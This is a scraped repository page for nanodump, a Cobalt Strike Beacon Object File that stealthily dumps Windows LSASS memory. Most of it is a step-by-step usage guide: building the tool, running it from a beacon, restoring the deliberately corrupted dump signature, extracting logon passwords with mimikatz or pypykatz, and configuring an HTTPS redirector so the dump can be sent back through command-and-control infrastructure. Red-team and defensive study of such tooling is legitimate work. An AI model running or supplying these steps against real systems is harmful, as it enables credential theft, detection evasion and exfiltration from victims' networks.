helpsystems / nanodump
- среда, 17 ноября 2021 г. в 00:29:09
Dumping LSASS has never been so stealthy
A Beacon Object File that creates a minidump of the LSASS process.
git clone https://github.com/helpsystems/nanodump.git
cd nanodump
make
Import the NanoDump.cna
script on Cobalt Strike.
Run the nanodump
command.
beacon> nanodump
Once you downloaded the minidump, restore the invalid signature
bash restore_signature.sh <dumpfile>
To get the secrets simply run:
mimikatz # sekurlsa::minidump <dumpfile>
mimikatz # sekurlsa::logonPasswords full
If you prefer to stay on linux, you can use the python3 port of mimikatz called pypykatz.
python3 -m pypykatz lsa minidump <dumpfie>
PID of lsass. If not entered, nanodump will find it dynamically.
Where to write the dumpfile. If this parameter is not provided, the dump will be downloaded in a fileless manner.
If entered, the minidump will have a valid signature.
If not entered, before analyzing the dump restore the signature of the dump, with: bash restore_signature.sh <dumpfile>
If you are using an HTTPS redirector (as you should), you might run into issues due to the size of the requests that leak the dump.
Increase the max size of requests on your web server to allow nanodump to download the dump.
location ~ ^...$ {
...
client_max_body_size 50M;
}
<Directory "...">
LimitRequestBody 52428800
</Directory>